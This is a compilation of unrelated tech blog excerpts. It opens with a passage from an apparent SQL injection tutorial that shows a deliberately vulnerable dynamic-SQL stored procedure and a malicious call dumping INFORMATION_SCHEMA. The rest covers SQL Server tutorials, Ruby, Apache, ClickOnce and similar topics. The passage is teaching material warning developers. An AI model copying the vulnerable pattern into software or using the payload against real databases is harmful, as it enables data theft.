it's a huge security hole. The following example shows what a hacker can do with such a setup. /*Create a single master access stored procedure*/CREATE PROCEDURE spSingleAccessSproc( @select NVARCHAR(500) = '' , @tableName NVARCHAR(500) = '' , @where NVARCHAR(500) = '1=1' , @orderBy NVARCHAR(500) = '1')ASEXEC('SELECT ' + @select + ' FROM ' + @tableName + ' WHERE ' + @where + ' ORDER BY ' + @orderBy)GO/*Valid use as anticipated by a novice developer*/EXEC spSingleAccessSproc @select = '*', @tableName = 'Users', @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = 'UserID'/*Malicious use SQL injectionThe SQL injection principles are the same aswith SQL string concatenation I described earlier,so I won't repeat them again here.*/EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --', @tableName = '--Users', @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = '--UserID' One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

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• SQL SERVER – Four Tutorial for SQL Server 2012 New Features

  - by pinaldave

  One of the very common question I receive on my facebook is that if there is any tutorial for SQL Server 2012 new enhanced features and solutions. I see this demand a bit increasing as the SQL Server 2012 is more and more being adopted. Here is the list of four tutorial which is specifically created for SQL Server 2012 by Microsoft. Multidimensional Modeling (Adventure Works Tutorial) This tutorial teaches you how to develop and deploy an Analysis Services project that enables the employees of Adventure Works Cycles to analyze various aspects of their business. Tabular Modeling (Adventure Works Tutorial) This tutorial teaches you how to create a SQL Server 2012 Analysis Services tabular model that enable sales and marketing teams to easily analyze internet sales data in the AdventureWorksDW2012 data warehouse. You will build the tabular model in SQL Server Data Tools. Tutorials and Demos for Power View Create Power View reports and explore Power View features. View demos, videos, and tutorials that help you get started quickly with Power View and successfully build reports with interactive filters and visualizations such as bubble charts, tiles, and cards. Tutorial: Using the hierarchyid Data Type This tutorial is intended for users who are experienced with Transact-SQL, but are new to the hierarchyid data type. In this tutorial, you convert an existing table to a hierarchical structure, and you also create a new table to store and manage hierarchical data efficiently. Note: The description of the course is taken from original course description. You will need to install SQL Server 2012 AdventureWorks for all this tutorial. Reference: Pinal Dave (http://blog.sqlauthority.com) Filed under: PostADay, SQL, SQL Authority, SQL Query, SQL Server, SQL Tips and Tricks, SQL Training, T SQL, Technology

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• SQL SERVER – Migration Assistant Upgraded to Support SQL Server 2014

  - by Pinal Dave

  We all start somewhere when it is about database. There are different reasons, why we go for one database over another database. Usually the reason is cost and convenience. After a period of time when business is successful and traffic is growing, the same two reasons of cost and convenience start to become secondary goals. I have seen quite a lot of companies starting with free databases and after a while switching to another database as they want stability and service from the product company. Microsoft has an excellent product which lets you migrate your database from the alternate database to SQL Server. It is called SQL Server Migration Assistant (SSMA) and earlier this week, it has been upgraded to support SQL Server 2014. Now you can migrate from your database to to all editions of SQL Server 2005, SQL Server 2008, SQL Server 2008 R2, SQL Server 2012 and SQL Server 2014. SQL Server Migration Assistant (SSMA) is a free supported tool from Microsoft. Here is where you can download SSMA v5.3 for various databases. Microsoft SQL Server Migration Assistant v5.3 for Access Microsoft SQL Server Migration Assistant (SSMA) for Access is a tool to automate migration from Microsoft Access database(s) to SQL Server Microsoft SQL Server Migration Assistant v5.3 for Oracle Microsoft SQL Server Migration Assistant (SSMA) for Oracle is a tool to automate migration from Oracle database to SQL Server. Microsoft SQL Server Migration Assistant v5.3 for Sybase Microsoft SQL Server Migration Assistant (SSMA) for Sybase is a tool to automate migration from Sybase ASE database to SQL Server. Microsoft SQL Server Migration Assistant v5.3 for MySQL Microsoft SQL Server Migration Assistant (SSMA) for MySQL is a tool to automate migration from MySQL database to SQL Server. Reference: Pinal Dave (http://blog.sqlauthority.com)Filed under: MySQL, PostADay, SQL, SQL Authority, SQL Documentation, SQL Download, SQL Query, SQL Server, SQL Tips and Tricks, T SQL

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• The Worst of CES (Consumer Electronics Show) in 2011

  - by Justin Garrison

  This year, How-To Geek’s own Justin was on-site at the Consumer Electronics Show in Las Vegas, where every gadget manufacturer shows off their latest creations, and he was able to sit down and get hands-on with most of them. Here’s the ones that just didn’t make the cut. Make sure you also read our Best of CES 2011 post, where we cover the greatest gadgets that we found. Keep reading to take a look at the best of the worst products, that might have initially appeared good but showed their true colors after we spent some time with them Latest Features How-To Geek ETC HTG Projects: How to Create Your Own Custom Papercraft Toy How to Combine Rescue Disks to Create the Ultimate Windows Repair Disk What is Camera Raw, and Why Would a Professional Prefer it to JPG? The How-To Geek Guide to Audio Editing: The Basics How To Boot 10 Different Live CDs From 1 USB Flash Drive The 20 Best How-To Geek Linux Articles of 2010 Arctic Theme for Windows 7 Gives Your Desktop an Icy Touch Install LibreOffice via PPA and Receive Auto-Updates in Ubuntu Creative Portraits Peek Inside the Guts of Modern Electronics Scenic Winter Lane Wallpaper to Create a Relaxing Mood Access Your Web Apps Directly Using the Context Menu in Chrome The Deep – Awesome Use of Metal Objects as Deep Sea Creatures [Video]

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• Convert your Hash keys to object properties in Ruby

  - by kerry

  Being a Ruby noob (and having a background in Groovy), I was a little surprised that you can not access hash objects using the dot notation.  I am writing an application that relies heavily on XML and JSON data.  This data will need to be displayed and I would rather use book.author.first_name over book[‘author’][‘first_name’].  A quick search on google yielded this post on the subject. So, taking the DRYOO (Don’t Repeat Yourself Or Others) concept.  I came up with this: 1: class ::Hash 2:  3: # add keys to hash 4: def to_obj 5: self.each do |k,v| 6: if v.kind_of? Hash 7: v.to_obj 8: end 9: k=k.gsub(/\.|\s|-|\/|\'/, '_').downcase.to_sym 10: self.instance_variable_set("@#{k}", v) ## create and initialize an instance variable for this key/value pair 11: self.class.send(:define_method, k, proc{self.instance_variable_get("@#{k}")}) ## create the getter that returns the instance variable 12: self.class.send(:define_method, "#{k}=", proc{|v| self.instance_variable_set("@#{k}", v)}) ## create the setter that sets the instance variable 13: end 14: return self 15: end 16: end This works pretty well.  It converts each of your keys to properties of the Hash.  However, it doesn’t sit very well with me because I probably will not use 90% of the properties most of the time.  Why should I go through the performance overhead of creating instance variables for all of the unused ones? Enter the ‘magic method’ #missing_method: 1: class ::Hash 2: def method_missing(name) 3: return self[name] if key? name 4: self.each { |k,v| return v if k.to_s.to_sym == name } 5: super.method_missing name 6: end 7: end This is a much cleaner method for my purposes.  Quite simply, it checks to see if there is a key with the given symbol, and if not, loop through the keys and attempt to find one. I am a Ruby noob, so if there is something I am overlooking, please let me know.

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• Making a Case For The Command Line

  - by Jesse Taber

  Originally posted on: http://geekswithblogs.net/GruffCode/archive/2013/06/30/making-a-case-for-the-command-line.aspxI have had an idea percolating in the back of my mind for over a year now that I’ve just recently started to implement. This idea relates to building out “internal tools” to ease the maintenance and on-going support of a software system. The system that I currently work on is (mostly) web-based, so we traditionally we have built these internal tools in the form of pages within the app that are only accessible by our developers and support personnel. These pages allow us to perform tasks within the system that, for one reason or another, we don’t want to let our end users perform (e.g. mass create/update/delete operations on data, flipping switches that turn paid modules of the system on or off, etc). When we try to build new tools like this we often struggle with the level of effort required to build them. Effort Required Creating a whole new page in an existing web application can be a fairly large undertaking. You need to create the page and ensure it will have a layout that is consistent with the other pages in the app. You need to decide what types of input controls need to go onto the page. You need to ensure that everything uses the same style as the rest of the site. You need to figure out what the text on the page should say. Then, when you figure out that you forgot about an input that should really be present you might have to go back and re-work the entire thing. Oh, and in addition to all of that, you still have to, you know, write the code that actually performs the task. Everything other than the code that performs the task at hand is just overhead. We don’t need a fancy date picker control in a nicely styled page for the vast majority of our internal tools. We don’t even really need a page, for that matter. We just need a way to issue a command to the application and have it, in turn, execute the code that we’ve written to accomplish a given task. All we really need is a simple console application! Plumbing Problems A former co-worker of mine, John Sonmez, always advocated the Unix philosophy for building internal tools: start with something that runs at the command line, and then build a UI on top of that if you need to. John’s idea has a lot of merit, and we tried building out some internal tools as simple Console applications. Unfortunately, this was often easier said that done. Doing a “File –> New Project” to build out a tool for a mature system can be pretty daunting because that new project is totally empty.  In our case, the web application code had a lot of of “plumbing” built in: it managed authentication and authorization, it handled database connection management for our multi-tenanted architecture, it managed all of the context that needs to follow a user around the application such as their timezone and regional/language settings. In addition, the configuration file for the web application  (a web.config in our case because this is an ASP .NET application) is large and would need to be reproduced into a similar configuration file for a Console application. While most of these problems are could be solved pretty easily with some refactoring of the codebase, building Console applications for internal tools still potentially suffers from one pretty big drawback: you’d have to execute them on a machine with network access to all of the needed resources. Obviously, our web servers can easily communicate the the database servers and can publish messages to our service bus, but the same is not true for all of our developer and support personnel workstations. We could have everyone run these tools remotely via RDP or SSH, but that’s a bit cumbersome and certainly a lot less convenient than having the tools built into the web application that is so easily accessible. Mix and Match So we need a way to build tools that are easily accessible via the web application but also don’t require the overhead of creating a user interface. This is where my idea comes into play: why not just build a command line interface into the web application? If it’s part of the web application we get all of the plumbing that comes along with that code, and we’re executing everything on the web servers which means we’ll have access to any external resources that we might need. Rather than having to incur the overhead of creating a brand new page for each tool that we want to build, we can create one new page that simply accepts a command in text form and executes it as a request on the web server. In this way, we can focus on writing the code to accomplish the task. If the tool ends up being heavily used, then (and only then) should we consider spending the time to build a better user experience around it. To be clear, I’m not trying to downplay the importance of building great user experiences into your system; we should all strive to provide the best UX possible to our end users. I’m only advocating this sort of bare-bones interface for internal consumption by the technical staff that builds and supports the software. This command line interface should be the “back end” to a highly polished and eye-pleasing public face. Implementation As I mentioned at the beginning of this post, this is an idea that I’ve had for awhile but have only recently started building out. I’ve outlined some general guidelines and design goals for this effort as follows: Text in, text out: In the interest of keeping things as simple as possible, I want this interface to be purely text-based. Users will submit commands as plain text, and the application will provide responses in plain text. Obviously this text will be “wrapped” within the context of HTTP requests and responses, but I don’t want to have to think about HTML or CSS when taking input from the user or displaying responses back to the user. Task-oriented code only: After building the initial “harness” for this interface, the only code that should need to be written to create a new internal tool should be code that is expressly needed to accomplish the task that the tool is intended to support. If we want to encourage and enable ourselves to build good tooling, we need to lower the barriers to entry as much as possible. Built-in documentation: One of the great things about most command line utilities is the ‘help’ switch that provides usage guidelines and details about the arguments that the utility accepts. Our web-based command line utility should allow us to build the documentation for these tools directly into the code of the tools themselves. I finally started trying to implement this idea when I heard about a fantastic open-source library called CLAP (Command Line Auto Parser) that lets me meet the guidelines outlined above. CLAP lets you define classes with public methods that can be easily invoked from the command line. Here’s a quick example of the code that would be needed to create a new tool to do something within your system: 1: public class CustomerTools 2: { 3: [Verb] 4: public void UpdateName(int customerId, string firstName, string lastName) 5: { 6: //invoke internal services/domain objects/hwatever to perform update 7: } 8: } This is just a regular class with a single public method (though you could have as many methods as you want). The method is decorated with the ‘Verb’ attribute that tells the CLAP library that it is a method that can be invoked from the command line. Here is how you would invoke that code: Parser.Run(args, new CustomerTools()); Note that ‘args’ is just a string[] that would normally be passed passed in from the static Main method of a Console application. Also, CLAP allows you to pass in multiple classes that define [Verb] methods so you can opt to organize the code that CLAP will invoke in any way that you like. You can invoke this code from a command line application like this: SomeExe UpdateName -customerId:123 -firstName:Jesse -lastName:Taber ‘SomeExe’ in this example just represents the name of .exe that is would be created from our Console application. CLAP then interprets the arguments passed in order to find the method that should be invoked and automatically parses out the parameters that need to be passed in. After a quick spike, I’ve found that invoking the ‘Parser’ class can be done from within the context of a web application just as easily as it can from within the ‘Main’ method entry point of a Console application. There are, however, a few sticking points that I’m working around: Splitting arguments into the ‘args’ array like the command line: When you invoke a standard .NET console application you get the arguments that were passed in by the user split into a handy array (this is the ‘args’ parameter referenced above). Generally speaking they get split by whitespace, but it’s also clever enough to handle things like ignoring whitespace in a phrase that is surrounded by quotes. We’ll need to re-create this logic within our web application so that we can give the ‘args’ value to CLAP just like a console application would. Providing a response to the user: If you were writing a console application, you might just use Console.WriteLine to provide responses to the user as to the progress and eventual outcome of the command. We can’t use Console.WriteLine within a web application, so I’ll need to find another way to provide feedback to the user. Preferably this approach would allow me to use the same handler classes from both a Console application and a web application, so some kind of strategy pattern will likely emerge from this effort. Submitting files: Often an internal tool needs to support doing some kind of operation in bulk, and the easiest way to submit the data needed to support the bulk operation is in a file. Getting the file uploaded and available to the CLAP handler classes will take a little bit of effort. Mimicking the console experience: This isn’t really a requirement so much as a “nice to have”. To start out, the command-line interface in the web application will probably be a single ‘textarea’ control with a button to submit the contents to a handler that will pass it along to CLAP to be parsed and run. I think it would be interesting to use some javascript and CSS trickery to change that page into something with more of a “shell” interface look and feel. I’ll be blogging more about this effort in the future and will include some code snippets (or maybe even a full blown example app) as I progress. I also think that I’ll probably end up either submitting some pull requests to the CLAP project or possibly forking/wrapping it into a more web-friendly package and open sourcing that.

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• www.foobar.com works but foobar.com results in a 'Server not found' error

  - by Homunculus Reticulli

  I have just setup a minimal (hopefully secure? - comments welcome) apache website using the following configuration file: <VirtualHost *:80> ServerName foobar.com ServerAlias www.foobar.com ServerAdmin [email protected] DocumentRoot /path/to/websites/foobar/web DirectoryIndex index.php # CustomLog with format nickname LogFormat "%h %l %u %t \"%r\" %>s %b" common CustomLog "|/usr/bin/cronolog /var/log/apache2/%Y%m.foobar.access.log" common LogLevel notice ErrorLog "|/usr/bin/cronolog /var/log/apache2/%Y%m.foobar.errors.log" <Directory /> AllowOverride None Order Deny,Allow Deny from all </Directory> <Directory /path/to/websites/> Options -Indexes FollowSymLinks MultiViews AllowOverride None Order allow,deny allow from all </Directory> </VirtualHost> I am able to access the website by using www.foobar.com, however when I type foobar.com, I get the error 'Server not found' - why is this? My second question concerns the security implications of the directive: <Directory /path/to/websites/> Options -Indexes FollowSymLinks MultiViews AllowOverride None Order allow,deny allow from all </Directory> in the configuration above. What exactly is it doing, and is it necessary?. From my (admitedly limited) understanding of Apache configuration files, this means that anyone will be able to access (write to?) the /path/to/websites/ folder. Is my understanding correct? - and if yes, how is this not a security risk?

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• Should interfaces extend (and in doing so inherit methods of) other interfaces

  - by dreza

  Although this is a general question it is also specific to a problem I am currently experiencing. I currently have an interface specified in my solution called public interface IContextProvider { IDataContext { get; set; } IAreaContext { get; set; } } This interface is often used throughout the program and hence I have easy access to the objects I need. However at a fairly low level of a part of my program I need access to another class that will use IAreaContext and perform some operations off it. So I have created another factory interface to do this creation called: public interface IEventContextFactory { IEventContext CreateEventContext(int eventId); } I have a class that implements the IContextProvider and is injected using NinJect. The problem I have is that the area where I need to use this IEventContextFactory has access to the IContextProvider only and itself uses another class which will need this new interface. I don't want to have to instantiate this implementation of IEventContextFactory at the low level and would rather work with the IEventContextFactory interface throughout. However I also don't want to have to inject another parameter through the constructors just to have it passed through to the class that needs it i.e. // example of problem public class MyClass { public MyClass(IContextProvider context, IEventContextFactory event) { _context = context; _event = event; } public void DoSomething() { // the only place _event is used in the class is to pass it through var myClass = new MyChildClass(_event); myClass.PerformCalculation(); } } So my main question is, would this be acceptable or is it even common or good practice to do something like this (interface extend another an interface): public interface IContextProvider : IEventContextFactory or should I consider better alternatives to achieving what I need. If I have not provided enough information to give suggestions let me know and I can provide more.

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• Make Your Clock Creates a Custom Clock for your Android Homescreen

  - by ETC

  If you’d like to create a custom clock face your Android homescreen Make Your Clock makes it easy to create a clock face with customized colors, font, display style, and more. You can create a clock that looks like a digital watch face, an old fashioned flip clock, a combination of digital output and date, and other variations. You can also adjust the size of the clock to anywhere between 1×1 to 4×2. Currently the app is limited to displaying the time and date, future releases are slated to include weather and lunar phases in addition to the time. Check out the video below to see the app in action: Make Your Clock [AppBrain via Yahoo!] Latest Features How-To Geek ETC How To Remove People and Objects From Photographs In Photoshop Ask How-To Geek: How Can I Monitor My Bandwidth Usage? Internet Explorer 9 RC Now Available: Here’s the Most Interesting New Stuff Here’s a Super Simple Trick to Defeating Fake Anti-Virus Malware How to Change the Default Application for Android Tasks Stop Believing TV’s Lies: The Real Truth About "Enhancing" Images The Legend of Zelda – 1980s High School Style [Video] Suspended Sentence is a Free Cross-Platform Point and Click Game Build a Batman-Style Hidden Bust Switch Make Your Clock Creates a Custom Clock for your Android Homescreen Download the Anime Angels Theme for Windows 7 CyanogenMod Updates; Rolls out Android 2.3 to the Less Fortunate

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• Manage ClickOnce releases for different parties

  - by Dirk Beckmann

  I'm struggling with release management of a piece of software. First some general information: It is a ClickOnce application I follow the release often practice There are about 30 parties served with this software I need full control which update will be delivered to which party Not each party is allowed to get the latest update/release Each party has multiple clients that are all allowed to get the latest update, served for the specific party So that's what my requirements are in a rough description. So let me explain what I was thinking about how to solve this. I would like to create a "deployment" website (asp.net) that will handle all the requests There are two endpoints one for download the client and one where the client checks for updates So each party has a separate endpoint like DeploymentSite/party1 and another for DeploymentSite/party2 The Application Files should still be stored centralized So I thought it would be manageable with mage.exe with the following steps Build application and store new release into Application Files Repository/Folder Get parties that should be updated (config file, database what ever) Run mage.exe to create a new application and deployment manifest for each party in the update list with new Application File Location (1.0.2) Actually I'm really struggling with this mage.exe staff. I can't create the appropriate files with the needed codebase. How to handle thes requirements?

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• Publish Static Content to WebLogic

  - by James Taylor

  Most people know WebLogic has a built in web server. Typically this is not an issue as you deploy java applications and WebLogic publishes to the web. But what if you just want to display a simple static HTML page. In WebLogic you can develop a simple web application to display static HTML content. In this example I used WLS 10.3.3. I want to display 2 files, an HTML file, and an xsd for reference. Create a directory of your choice, this is what I will call the document root. mkdir /u01/oracle/doc_root Copy the static files to this directory  In the document root directory created in step 1 create the directory WEB-INF mkdir WEB-INF In the WEB-INF directory create a file called web.xml with the following content <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/j2ee/dtds/web-app_2_3.dtd"> <web-app> </web-app> Login to the WebLogic console to deploy application Click on Deployments Click on Lock & Edit Click Install and set the path to the directory created in step 1 Leave default "Install this deployment as an application" and click Next Select a Managed Server to deploy to and click Next Accept the defaults and click Finish  Deployment completes successfully, now click the Activate Changes You should now see the application started in the deployments You can now access your static content via the following URL http://localhost:7001/doc_root/helloworld.html

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• View Word Definitions in IE 8 with the Define with Bing Accelerator

  - by Asian Angel

  Do you need an easy way to view word definitions while browsing with Internet Explorer? The Define with Bing Accelerator will display definitions in the same (or a new) tab and save you time while browsing. Using Define with Bing The installation consists of two steps. First, click on Add to Internet Explorer to start the process. Next you will be asked to confirm the installation. Once you have clicked Add your new accelerator is ready to use (no browser restart required). Whenever you encounter a word that needs defining highlight it, click on the small blue square, go to All Accelerators, and then Define with Bing. There are two ways to access the definition: Hover your mouse over the Define with Bing text to open a small popup window Click on Define with Bing to open a definition search in a new tab Being able to access a definition or explanation in the same tab will definitely save you time while browsing. In the example shown here you can get an idea of what SCORM means but clicking on the links inside the popup window is not recommended (webpage opens in popup and is not resizable). In the situation shown above it is better to click on Define with Bing and see more information in a new tab. Conclusion The Define with Bing Accelerator can be a very useful time saver while browsing with Internet Explorer. Finding those word definitions will be a much more pleasant experience now. Add the Define with Bing Accelerator to Internet Explorer Similar Articles Productive Geek Tips Add Google Dictionary Power to ChromeChoose Custom New Tab Pages in ChromeSearch Alternative Search Engines from within Bing’s Search PageView Word Definitions in Google Chrome with DictionaryTipThe New Bing Bar Provides Easy Access to Searches and Microsoft Live Services TouchFreeze Alternative in AutoHotkey The Icy Undertow Desktop Windows Home Server – Backup to LAN The Clear & Clean Desktop Use This Bookmarklet to Easily Get Albums Use AutoHotkey to Assign a Hotkey to a Specific Window Latest Software Reviews Tinyhacker Random Tips CloudBerry Online Backup 1.5 for Windows Home Server Snagit 10 VMware Workstation 7 Acronis Online Backup Sculptris 1.0, 3D Drawing app AceStock, a Tiny Desktop Quote Monitor Gmail Button Addon (Firefox) Hyperwords addon (Firefox) Backup Outlook 2010 Daily Motivator (Firefox)

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• Ribbon Search: Locate MS Office Ribbon Menu Features/Functions Quickly

  - by Kavitha

  In the new versions of Microsoft Office  everything has changed with the introduction of Ribbon menus. Even though Ribbon menus has many advantages that simplifies accessing features, at times it’s a daunting task to navigate the Ribbon menus and find a specific command. Ribbon search is one of the interesting freeware tools to overcome these complaints from users, with this one can search Office ribbon for any feature or function easily. It supports both Office 2007 and  Office 2010(the versions which have ribbon). Once Installation has completed, you can find a text box on top of the ribbon in all the office applications (Outlook, Word, PowerPoint, Excel etc.). As you type few letters of the feature you are looking for, Ribbon Search instantly displays the path through which you can access the feature. Here is a screen grab search of Ribbon Search in action When you start typing itself shows results instantly. And also it gives the path through which you can access feature you are searching for. If there are multiple ways to access the feature, it is also shown in the list. Download Ribbon Search This article titled,Ribbon Search: Locate MS Office Ribbon Menu Features/Functions Quickly, was originally published at Tech Dreams. Grab our rss feed or fan us on Facebook to get updates from us.

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